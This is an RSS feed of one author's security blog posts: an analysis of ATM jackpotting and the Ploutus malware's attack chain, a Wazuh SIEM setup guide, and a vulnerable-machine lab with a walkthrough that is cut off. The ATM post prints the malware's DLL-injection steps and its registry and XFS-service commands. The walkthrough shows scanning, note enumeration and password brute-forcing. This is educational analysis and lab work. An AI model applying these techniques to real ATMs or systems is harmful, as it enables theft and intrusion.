<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dion Mulaj on Medium]]></title>
        <description><![CDATA[Stories by Dion Mulaj on Medium]]></description>
        <link>https://medium.com/@dionmulaj?source=rss-d54c3dfbb1a0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hMtQ4G59sZlZDd6L5aPwcQ@2x.jpeg</url>
            <title>Stories by Dion Mulaj on Medium</title>
            <link>https://medium.com/@dionmulaj?source=rss-d54c3dfbb1a0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 13:04:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dionmulaj/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bleeding the XFS: Anatomy of ATM Jackpotting]]></title>
            <link>https://systemweakness.com/bleeding-the-xfs-anatomy-of-atm-jackpotting-cb8f9ef4c555?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb8f9ef4c555</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Mon, 23 Feb 2026 17:36:44 GMT</pubDate>
            <atom:updated>2026-02-24T10:59:54.292Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eHM9Dlx9WLGqsYoklDsD4A.png" /></figure><p>ATM Jackpotting is an attack technique used by threat actors against ATMs, causing the machine to dispense cash on command without authorization. Unlike physical card skimming techniques where the threat actor places a device that acts as a MITM between the user and ATM, jackpotting involves physical access to the ATM machine’s I/O ports to insert USB flash drive as a bootable media.</p><p>While the ATM software communicates with the hardware through the XFS layer, the threat actor abuses it as on the example below:</p><ol><li>Attacker gains physical access: This usually involved physical force to remove the protective cover and unlocking the service panels.</li><li>The attacker inserts a flash drive</li><li>The malware infects the system and interfaces directly with the XFS</li><li>The malware sends XFS commands to dispense cash</li><li>The ATM dispenses money without requiring card authorization.</li></ol><p>Some of the most known malware families for the jackpotting attack are:</p><ul><li><strong><em>Ploutus</em></strong>: A malware that uses XFS to dispense cash without a card, often triggered remotely to dispense cash.</li><li><strong><em>Ripper</em></strong>: Targets outdated ATM vulnerabilities to bypass security mechanisms and dispense cash.</li><li><strong><em>Cutlet Maker</em></strong>: A toolkit sold on underground forums that manipulates ATMs via XFS.</li><li><strong><em>Tyupkin</em></strong>: A XFS-based ATM malware that requires a secret code written through the keypad to trigger cash dispensing.</li></ul><h3>What is XFS?</h3><p><strong><em>XFS</em></strong>: eXtension for Financial Services is a set of standards that provides an interaction interface between financial applications and the hardware. It allows the ATM software to easily be integrated with hardware components of different manufacturers (card readers, receipt printers, cash dispensers). It makes the ATM deployment and maintenance easier for financial institutions and banks.</p><p><strong><em>CEN/XFS</em></strong>: Common Point of Entry for Financial Services is a set of specifications based on XFS that standardizes the communication between the financial software and the hardware components, specific to European financial institutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*agO-gwdKejbUZ5a-lm03Hg.png" /><figcaption>CEN/XFS Architecture (Source: Johannes Sametinger)</figcaption></figure><p>XFS Manager is the controller that ensures XFS service providers are loaded, initialized, and functioning, while enabling smooth communication between the financial software and the hardware components of an ATM. One of the most important libraries of XFS is <strong><em>MSXFS.DLL</em></strong>, which serves as the communication layer between the manager and the hardware, making it crucial for transactions. It is able to process requests from the software, coordinate hardware actions, and manager the transaction flow.</p><p>Other than the core library, XFS Manager has two more important libraries that handle specific tasks, <strong><em>XFS_SUPP.DLL </em></strong>and <strong><em>XFS_CONF.DLL</em></strong><em>.</em></p><p><strong><em>XFS_SUPP.DLL</em></strong>: Ensures that all events are logged and it acts as a supporting library in handling the errors, ensuring that the issues are reported appropriately. It is very helpful in tracking the health and the status of physical components, providing useful data for diagnostics and troubleshooting.</p><p><strong><em>XFS_CONF.DLL</em></strong>: Responsible for configuration management within XFS. It validates the XFS configuration files and ensures the XFS is set up properly before initiating any interactions. It gives the final verdict of validation for service providers and devices, determining if they are ready to initialize.</p><h3><strong>Why XFS enables ATM Jackpotting?</strong></h3><p>XFS itself isn’t a vulnerability, the security risk comes when an external actor is able to access or manipulate XFS. Specifically, these security risks arise when:</p><ul><li>ATMs use outdated OS</li><li>ATMs lack proper OS hardening</li><li>USB ports are exposed</li><li>BIOS is not password protected</li><li>Disks are not encrypted.</li></ul><h3><strong>ATM Jackpotting — Attack Vectors</strong></h3><p>The most used attack vector for ATM Jackpotting is <strong><em>Bootable Device Insertion</em></strong>, and it mostly happens on insecure ATMs where BIOS isn’t locked. The threat actor inserts bootable USB, restarts ATM, loads custom OS from the bootable USB, and installs the jackpotting malware on the main disk that is being used by the ATM.</p><p>In some cases threat actors may use other vectors to reach the same goal, for example <strong><em>disk cloning</em></strong>. The threat actor can remove the internal drive from the ATM, clone it to a blank one, and then place the original drive back in. Since the threat actor would have an original clone of the system at that point, the cloned drive could be inserted into a computer and be modified. But, the cloned drive would most likely ask for a password on Windows login, and there are a couple of alternatives to remove the protection or modify the credentials, one of them being <strong><em>Hiren’s BootCD</em></strong> among many others.<br>Once the password has been reset, the threat actor could modify the cloned disk and insert the jackpotting malware in it. When this procedure is completed, he removes the original drive from the ATM, and places the cloned one.</p><h3>Ploutus Malware: Attack Chain</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FejfMd6bjdnpEWQ0f43ePQ.png" /><figcaption>Ploutus — Executed Commands</figcaption></figure><p>The Ploutus Malware Attack chain is formed by 5 different phases:</p><ul><li><strong>Phase 1</strong>: Initial Access</li><li><strong>Phase 2</strong>: Process Injection and Memory Manipulation</li><li><strong>Phase 3</strong>: System Reconfiguration and Persistence</li><li><strong>Phase 4</strong>: Payload Activation and Control</li><li><strong>Phase 5</strong>: Persistence and Cleanup.</li></ul><p>Each of these phases contain multiple steps and actions taken by the malware to reach its goal, compromising the ATM.</p><p><strong>Phase 1 — Step 1.1: Physical Access</strong></p><ul><li>The attacker gains physical access on USB.</li><li>Indicated system-level access through <em>winlogon.exe</em> execution</li></ul><p><strong>Phase 1 — Step 1.2: Malware Delivery</strong></p><p>The attacker injects multiple malicious components: <em>inject-x64.exe</em>, <em>wlrmdr.exe</em>, and malicious DLL payloads. The purpose of <em>inject-x64.exe</em> is to inject the malicious DLL into legit OS processes, and be able to reboot the system when needed.</p><p><strong>Phase 2 — Step 2.1: Target Process Identification</strong></p><p>Ploutus malware targets <em>rundll32.exe</em> as the host process for injection. This most likely happens because of the necessary privileges for system operations, but also to operate as a legitimate Windows binary while bypassing detections.</p><p><strong>Phase 2 — Step 2.2: Memory Allocation with RWX Permissions</strong></p><p>Ploutus uses Windows Native API to allocate executable memory.</p><p>API Used: <em>NtProtectVirtualMemory</em><br>Protection Flag: <em>PAGE_EXECUTE_READWRITE</em> (0x40 / 64 decimal).</p><p><strong>Phase 2 — Step 2.3: DLL Injection Sequence</strong></p><p>inject-x64.exe performs the following:</p><ol><li><strong><em>OpenProcess()</em></strong> — Open handle to target rundll32.exe <br>1.1. Windows Process and Thread API (kernel32.dll)</li><li><strong><em>VirtualAllocEx() </em></strong>— Allocates memory in target process<br>2.1. Windows Memory Management API (kernel32.dll)<br>2.2. Allocates space for malicious DLL path and code</li><li><strong><em>WriteProcessMemory()</em></strong> — Write malicious library to the target memory<br>3.1. Windows Process and Thread API (kernel32.dll)<br>3.2. Writes payload to allocated RWX regions</li><li><strong><em>CreateRemoteThread() </em></strong>— Execute injected code<br>4.1. Windows Process and Thread API (kernel32.dll / ntdll.dll)<br>4.2. Creates a new thread in rundll32.exe to execute malicious code</li></ol><p>If we analyse this through the memory level, it modifies the CPU registers as below:</p><ul><li><strong>EIP/RIP</strong>: Set entry point in allocated memory</li><li><strong>ESP/RSP</strong>: Stack pointer adjusts for new thread</li><li><strong>EAX/RAX</strong>: Return values from API calls.</li></ul><p><strong>Assembly Instructions — Shellcode Injection</strong></p><blockquote>PUSH &lt;DLL_PATH&gt; ; Pushes DLL path onto stack<br>MOV EAX, &lt;LoadLibraryA&gt; ; Loads LibraryA address<br>CALL EAX ; Calls LibraryA to load malicious DLL<br>MOV EAX, &lt;GetProcAddress&gt; ; Gets function address<br>PUSH &lt;Function_Name&gt; ; Pushes function name<br>CALL EAS ; Executes malicious function</blockquote><p><strong>Phase 3 — Step 3.1: Registry Modification</strong></p><p>Ploutus malware modifies Windows Registry to enable interactive services through the command:</p><blockquote>reg ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v “NoInteractiveServices” /t REG_DWORD /d 0 /f</blockquote><p>This enables legacy interactive service detection, allows the malware to display UI elements, but also bypass Windows security restrictions on service interaction.</p><p><strong>Phase 3 — Step 3.2: UI0Detect Service Manipulation</strong></p><p>Restarts the UI0Detect service which handles service detection in the operating system through the command:</p><blockquote>cmd.exe /c “net stop “UI0Detect” &amp; net start “UI0Detect””</blockquote><p>When the UI0Detect is restarted, the registry changes are applied to the system, enabling the malware to display the its interface in Session 0.</p><p><strong>Phase 3 — Step 3.3: Diebold XFS Service Manipulation</strong></p><p>Targets the core ATM software service through the command by restarting the XFS service to remove protections and loading the malware hooks into the restarted service. This enables the attacker to gain control over ATM hardware via XFS API. The command used to restart the XFS service:</p><blockquote>cmd.exe /c “net stop “Diebold XFS” &amp; net start “Diebold XFS””</blockquote><p><strong>Phase 4 — Step 4.1: Cash Dispenser Hijacking</strong></p><p>Once the XFS service is controlled by the malware, the payload can communicate with ATM hardware. Something similar to this:</p><ol><li>Malware loads <em>msxfs.dll</em></li><li>Hooks XFS API functions</li><li>Calls <strong><em>WFSOpen()</em></strong> to establish session with cash dispenser</li><li>Calls <strong><em>WFSExecute()</em></strong> with <em>WFS_CMD_CDM_DISPENSE</em> command and specifies currency type, bank note unit, and quantity.</li><li>Bypasses all authorization and transaction logging.</li></ol><p><strong>Phase 4 — Step 4.2: Attacker Interface</strong></p><p>Ploutus malware variants provide a range of control mechanisms depending on the variant. Some of these control mechanisms being Keypad Commands and Remote Commands.</p><p><strong>Phase 4 — Step 4.3: Stealth Mechanisms</strong></p><p>Through the execution, the malware remains stealth by using SW_HIDE flag on all malicious processes, as well as by abusing legitimate processes. By using processes such as <em>rundll32.exe</em>,<em> cmd.exe</em>,<em> net.exe</em>, or<em> reg.exe</em>, it blends with normal system activity to avoid any alerts.</p><p>Other than that, it has full privileges over hardware and bypasses user-mode security controls, while also being able to delete or censor any potential logs.</p><p><strong>Phase 5 — Step 5.1: System Reboot</strong></p><p>Reboots the system for the following reasons:</p><ul><li>Apply changes on all services and registry locations</li><li>Clear memory evidence</li><li>Activate persistence</li><li>Reset the ATM and activate the backdoor</li></ul><p><strong>Phase 5 — Step 5.2: Post-Reboot Persistence</strong></p><p>After the reboot, Ploutus may stay persistence by:</p><ul><li>DLL Hijacking: Replacing legitimate XFS DLLs and loading them automatically when XFS starts</li><li>Registry Run Keys: Executes the malware as a part of system startup</li><li>Scheduled Tasks: Creates a re-infection task.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb8f9ef4c555" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bleeding-the-xfs-anatomy-of-atm-jackpotting-cb8f9ef4c555">Bleeding the XFS: Anatomy of ATM Jackpotting</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh Setup: A dive into the open-source SIEM & XDR]]></title>
            <link>https://systemweakness.com/wazuh-setup-a-dive-into-the-open-source-siem-xdr-d3f610dfb040?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3f610dfb040</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Mon, 07 Oct 2024 15:39:38 GMT</pubDate>
            <atom:updated>2024-10-09T12:47:35.650Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Iu_TOIjoDZHpl8AoiFv3RA.png" /></figure><h3><strong>Introductory</strong></h3><p><strong><em>What is Wazuh? </em></strong>Wazuh is an open-source SIEM (Security Information and Event Management) with XDR (Extended Detection and Response) capabilities. It integrates various security features like: vulnerability detection, compliance monitoring, integrity monitoring, cloud monitoring, intrusion detection and more.</p><p>Wazuh can be setup in different ways depending on the needs, but what’s important to know it’s the architecture. For that, we can install Wazuh all-in-one in a single node, but we can also set it up on a cluster.</p><p><strong>Wazuh All-In-One Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eyKRKGy79hQasWSD.png" /><figcaption>Wazuh All-In-One Configuration</figcaption></figure><p>This image shows the central components of Wazuh, which in the given scenario are installed locally in one server (all-in-one):</p><ul><li><strong><em>Wazuh Manager</em></strong>: It’s one of the core components used to manage the overall Wazuh security infrastructure. With it, you can manage: configuration, rules, alerts and much more, but most importantly, it is used to manage the agents (endpoints).</li><li><strong><em>Wazuh Dashboard</em></strong>: A graphical web user interface with centralized visualization of all the environment (Usually integrated with Kibana).</li><li><strong><em>Wazuh Indexer</em></strong>: Stores and manages the collected data from the endpoints by indexing and classifying the data.</li><li><strong><em>Wazuh Agent</em></strong>: A software that is installed on the endpoint for log collection. When configured properly, it can: Collect logs, check file integrity, vulnerability detection and much more.</li></ul><p><strong>Wazuh Cluster Configuration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UqP8ZpFSkgbrUvKf.png" /><figcaption>Wazuh Cluster Configuration</figcaption></figure><p>This image shows a Wazuh Cluster who has been configured to run on multiple node servers. Worker Nodes are simply servers running Wazuh Manager, meanwhile Master Node is the main server that is also running Wazuh Manager, but the last mentioned also communicates with Wazuh Dashboard.</p><p>The reason for such configuration is because of: load balancing (between the Worker Nodes that manage specific agent groups), better sorting and classification, and of course, better performance.</p><p>The Wazuh Cluster Configuration contains the same components that were mentioned above on <em>All-In-One Configuration, </em>but in this kind of architecture we should familiarize ourselves with some other key components for Cluster Configuration:</p><ul><li><strong><em>Cluster</em></strong>: A group of components that work together on a specific task (in our case).</li><li><strong><em>Worker Node</em></strong>: Typically a server which runs Wazuh Manager, but it is managed by Master Node in the cluster.</li><li><strong><em>Master Node</em></strong>: A server which also runs Wazuh Manager, but it manages the other nodes in the cluster.</li><li><strong><em>Indexer Node</em></strong>: A server which runs Wazuh Indexer for storing and managing collected data.</li><li><strong><em>Network Load Balancer</em></strong>: Responsible to distribute workloads on multiple servers (Master Node and Worker Nodes). It operates on the idea of balancing the usage of the resources within the cluster infrastructure.</li></ul><h3>Wazuh Hardware Requirements</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*nzPIGUOcZ90EuolHqGuuQw.png" /><figcaption>Wazuh — Requirements</figcaption></figure><p>In order to run Wazuh, we should take a look at the table above. The requirements depend on a number of factors like: number of agents, amount of logs, integrated functions/tools etc..</p><h3><strong>Setting up the VM instance</strong></h3><p>In this case I’m going to setup Wazuh All-In-One Configuration on Ubuntu OS as a virtual machine on Proxmox VE, but you can also set it up with other virtualization software like: Oracle VirtualBox, VMWare Workstation Player or VMWare ESXi.</p><p>Since I’m using Proxmox VE, I will also show you how setup an Ubuntu VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJGd0umGgbiboGtiEe2Ftg.png" /><figcaption>Ubuntu Download Page — Copying download link</figcaption></figure><p>To get started with, go to Ubuntu download page and copy the <em>“download now”</em> link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*N_b_Z33ctMFM8yr073QyTA.png" /><figcaption>Proxmox VE — Download ISO from URL</figcaption></figure><p>On Proxmox VE, go to your disk and click on <em>“ISO Images”</em> option. Then, just follow the instructions on the image above to download the Ubuntu ISO directly on Proxmox server, instead of going the long way of downloading it on PC and then uploading it on Proxmox.</p><p>After the ISO file has been downloaded on the server, simply click on your “Create VM” on the top right corner, as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*oP5NYoN5QELLfkd3Wu9XQw.png" /><figcaption>Proxmox VE — Create VM</figcaption></figure><p>A page like this pop-up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*mWINLNa_cJYG5zirrLgV7w.png" /><figcaption>Proxmox VE — General</figcaption></figure><p>What you need to do here is just giving an ID (identification number) to the VM (Virtual Machine) and a name. Click Next after completing these.</p><p>Now you need to select the Storage disk where you downloaded the ISO file, and of course, select the ISO Image (in this case Ubuntu).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*WvgB6AudCp7dDRB0akc_bw.png" /><figcaption>Proxmox VE — OS</figcaption></figure><p>Now make sure that at System settings, the SCSI Controller is set to <em>“VirtIO SCSI single” </em>and click Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*tsrOzJBHicbTPrxv2hAxFA.png" /><figcaption>Proxmox VE — System</figcaption></figure><p>Choose the Storage Disk which will be used by the virtual machine (Ubuntu) and set the disk space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*FGLXVHWW_Uh1nsiqgy_leQ.png" /><figcaption>Proxmox VE — Disks</figcaption></figure><p>Edit the number of CPU cores at “Cores”, you can also tweak the other settings here but I’m not messing with them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*Qi2zDOO1V9RtINgyfwpQbw.png" /><figcaption>Proxmox VE — CPU</figcaption></figure><p>Set the amount of RAM that the VM (virtual machine) is going to use.</p><p>Note: You must set the RAM amount in MiB. In my case 16384 MB, which is 16GB of RAM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*6WHZmmCTQzAujbif2L9N7Q.png" /><figcaption>Proxmox VE — RAM</figcaption></figure><p>At the Network configuration, make sure that the <em>“Model”</em> is “<em>VirtIO (paravirtualized)”</em>, and the Firewall box is unchecked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*_VK0T7PHqBbIGxeSnaVYnA.png" /></figure><p>After clicking Next, the last page will show you all the configuration you have done from the beginning, you can review it and click <em>“Finish”</em>.</p><p>What you need to do now is to start the machine you just created and proceed on Ubuntu installation. When you install it successfully you can move to the next step.</p><h3>Wazuh Setup</h3><p>“Wazuh Setup” is made by two parts:</p><ol><li>OS Installations and Updates</li><li>Wazuh Installation</li></ol><p><strong>OS Installations and Updates</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*IlIJZfP_fwBg7irl202x4A.png" /><figcaption>Ubuntu — Update and Upgrade</figcaption></figure><p>First thing first, update and upgrade Ubuntu machine using the command below:</p><blockquote>apt update &amp;&amp; apt upgrade</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*2it7XnrMzFXq-vIsgzwSMQ.png" /><figcaption>Ubuntu — Net-Tools</figcaption></figure><p>Now, this is optional, but I prefer using “ifconfig” mostly. So, if you use it too, then you need to install Net-Tools using the command below:</p><blockquote>apt install net-tools</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*9G-k_brBX2zCZoCh8XldiA.png" /><figcaption>Ubuntu-curl</figcaption></figure><p>What is important, is that you should install curl using the command below:</p><blockquote>apt install curl</blockquote><p><strong>Wazuh Installation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*5L_lczfSzLIOPUfG54IfRg.png" /><figcaption>Wazuh — Quick Setup</figcaption></figure><p>Now we begin with Wazuh Installation using the following command:</p><blockquote>curl -sO <a href="https://packages.wazuh.com/4.9/wazuh-install.sh">https://packages.wazuh.com/4.9/wazuh-install.sh</a> &amp;&amp; sudo bash ./wazuh-install.sh -a</blockquote><p>This installation will take a bit of time to finish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*JWiHS3l29f9Hh7nHv_QLZA.png" /><figcaption>Wazuh — Password</figcaption></figure><p>When the installation is finished make sure you copy the given password, since that is the password that we will use to login to the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*NsS8PbotbYLzHe3h7ppddA.png" /><figcaption>Wazuh — Login</figcaption></figure><p>Open up your browser and go your VM’s IP Address, don’t forget to add HTTPS on the URL, otherwise it won’t work. When the login page pops-up, the default username is <em>admin </em>and the password is the one that was generated after the Wazuh installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*w2fXQXi6qit8bXUX432DxA.png" /><figcaption>Wazuh — Dashboard</figcaption></figure><p>And that’s it, we have successfully installed Wazuh!</p><h3>Extra — <strong>Change the Default Login Password</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*tsoQjlvYi64GrxQ-ifQHjA.png" /><figcaption>Wazuh — Password Tool</figcaption></figure><p>In order to change the default password for Wazuh, we need to download Wazuh Passwords Tool, this can be done by the following command:</p><blockquote>curl -so wazuh-passwords-tool.sh <a href="https://packages.wazuh.com/4.9/wazuh-passwords-tool.sh">https://packages.wazuh.com/4.9/wazuh-passwords-tool.sh</a></blockquote><p>And then give it executive permissions using this command:</p><blockquote>chmod +x wazuh-passwords-tool.sh</blockquote><p>Now, to change the default admin generated password for Wazuh we can do this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*qo1H5Yt8Cbn6z8--NdIoMQ.png" /><figcaption>Wazuh — Password Change</figcaption></figure><blockquote>./wazuh-passwords-tool.sh -u admin -p [your new password]</blockquote><p>Let’s analyze each part of this command:</p><ul><li><strong><em>./wazuh-password-tool.sh</em></strong> = The tool that we are using.</li><li><strong><em>-u</em></strong> = An option which enables us specifying the username of the user who’s password we are going to change.</li><li><strong><em>-p</em></strong> = An option which enables us writing the new password for the mentioned user.</li></ul><p>After successfully changing the password, go ahead and reboot the machine or just restart the Wazuh services via systemctl.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3f610dfb040" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/wazuh-setup-a-dive-into-the-open-source-siem-xdr-d3f610dfb040">Wazuh Setup: A dive into the open-source SIEM &amp; XDR</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyclone Vulnerable Machine]]></title>
            <link>https://systemweakness.com/cyclone-vulnerable-machine-2a73c0ee1f09?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a73c0ee1f09</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Sat, 25 May 2024 21:01:12 GMT</pubDate>
            <atom:updated>2024-10-07T08:22:02.974Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*Y8HjeD9ckeyV9H1G2mGDow.png" /><figcaption>Cyclone</figcaption></figure><p>Cyclone is a vulnerable machine designed specifically for: pentesters, red teamers, CTF players and cybersecurity enthusiasts, to test their skills &amp; knowledge.</p><ul><li><strong>Cyclone Download Links</strong></li></ul><p>Mirror 1 (Main): <a href="https://dionmulaj.com/Cyclone.rar">https://dionmulaj.com/Cyclone.rar</a></p><p>Mirror 2 (Alternative): <a href="https://www.mediafire.com/file/ijnlul95ifyz5fg/Cyclone.rar">https://www.mediafire.com/file/ijnlul95ifyz5fg/Cyclone.rar</a></p><p><strong>NOTE: This machine has been tested only in Oracle VM VirtualBox, it may work in VMWare, ESXi or Proxmox VE, but it hasn’t been tested there yet.</strong></p><p>Cyclone Walkthrough: <a href="https://medium.com/system-weakness/cyclone-walkthrough-c356d468a2d1">https://medium.com/system-weakness/cyclone-walkthrough-c356d468a2d1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a73c0ee1f09" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/cyclone-vulnerable-machine-2a73c0ee1f09">Cyclone Vulnerable Machine</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyclone Walkthrough]]></title>
            <link>https://systemweakness.com/cyclone-walkthrough-c356d468a2d1?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c356d468a2d1</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Sat, 25 May 2024 20:59:16 GMT</pubDate>
            <atom:updated>2025-03-27T11:11:16.440Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*2H89fSINBV0CxV87oY13Sw.png" /><figcaption>Cyclone</figcaption></figure><ul><li><strong>Informational</strong></li></ul><p>Cyclone is a vulnerable machine designed specifically for: pentesters, red teamers, CTF players and cybersecurity enthusiasts, to test their skills &amp; knowledge.</p><ul><li><strong>Cyclone Download Links</strong></li></ul><p>Mirror 1 (Main): <a href="https://dionmulaj.com/Cyclone.rar">https://dionmulaj.com/Cyclone.rar</a></p><p>Mirror 2 (Alternative): <a href="https://www.mediafire.com/file/ijnlul95ifyz5fg/Cyclone.rar">https://www.mediafire.com/file/ijnlul95ifyz5fg/Cyclone.rar</a></p><p><strong>NOTE: This machine has been tested only in Oracle VM VirtualBox, it may work in VMWare, ESXi or Proxmox VE, but it hasn’t been tested there yet.</strong></p><p><strong>-Recon</strong></p><p>After starting Cyclone, first we need to find its IP Address. On this example I’m simply using netdiscover just for the demonstration, but you could use any other tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*4_EkaCpsa_t9k0w5ESXvhQ.png" /><figcaption>Netdiscover— Identifying the target</figcaption></figure><p>Now that we have the IP Address, we can proceed with an nMap scan on the target.</p><blockquote>nmap -T4 -A -v 192.168.178.147</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5gD792YXYORo54-NCKLNA.png" /><figcaption>NMAP-Scanning the target</figcaption></figure><p>From this we can see that Cyclone has 3 ports open: FTP-Port 21 (vsftpd v3.0.5), SSH-Port 22 (OpenSSH 9.6p1) and HTTP-Port 80 (Apache httpd 2.4.58).</p><p>By these results we can conclude that this is an Ubuntu machine.</p><p><strong>-Engagement</strong></p><p>Ideally we would’ve checked for any outdated services to abuse, but this scenario doesn’t have something like that.</p><p>What we do next is that we check the web application, since port 80 is open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GwSlM7tInGL0uaxbF1MpQg.png" /><figcaption>Web Interface</figcaption></figure><p>Now that we know that the web application is up and running, we can continue with some fuzzing using dirb, dirbuster or ffuf. But to keep it simple, I’m just going to check the default things in web application (robots.txt in this case).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iI3ToQ5MtPgI404PSRqsPw.png" /><figcaption>Robots.txt</figcaption></figure><p>If we take a look at the robots.txt, we can see that at the bottom there is an encoded message (possibly Base64), which we need to decode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXVkd0EPd4GA_jwDsnJAlQ.png" /><figcaption>Robots.txt Hidden Message</figcaption></figure><p>Now we can see that the developers left some notes here, including one flag.</p><p>If we analyze the second note, devs panel is exposed so we need to find it in order to find the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fnoWukL2vFSPQ07AizV3g.png" /><figcaption>Devs Notes Panel</figcaption></figure><p>Now that we found the panel, we continue on checking the notes for potential clues to gain access to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgP0EGxmT1PHJxcPDK5Vag.png" /><figcaption>Oops</figcaption></figure><p>But…wait?! What if there are not only 3 notes? What if there are more than that but they just don’t appear in the web interface?</p><p>We change the note number on the URL to see if there are any more notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwfILMx8lz7AO9iVtDk2lQ.png" /><figcaption>Hidden Dev Note</figcaption></figure><p>Looks like we found a sensitive message in one of the notes. Since the devs encoded the first note with Base64, we are going to try our luck and try to decode it from Base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AAr8XhJJKzcDbLv5gSGR-w.png" /><figcaption>Decoded Note Message</figcaption></figure><p>Now that we know where the FTP credentials are stored, we download the mentioned file and brute-force it using ‘John’.</p><ul><li><strong>Brute 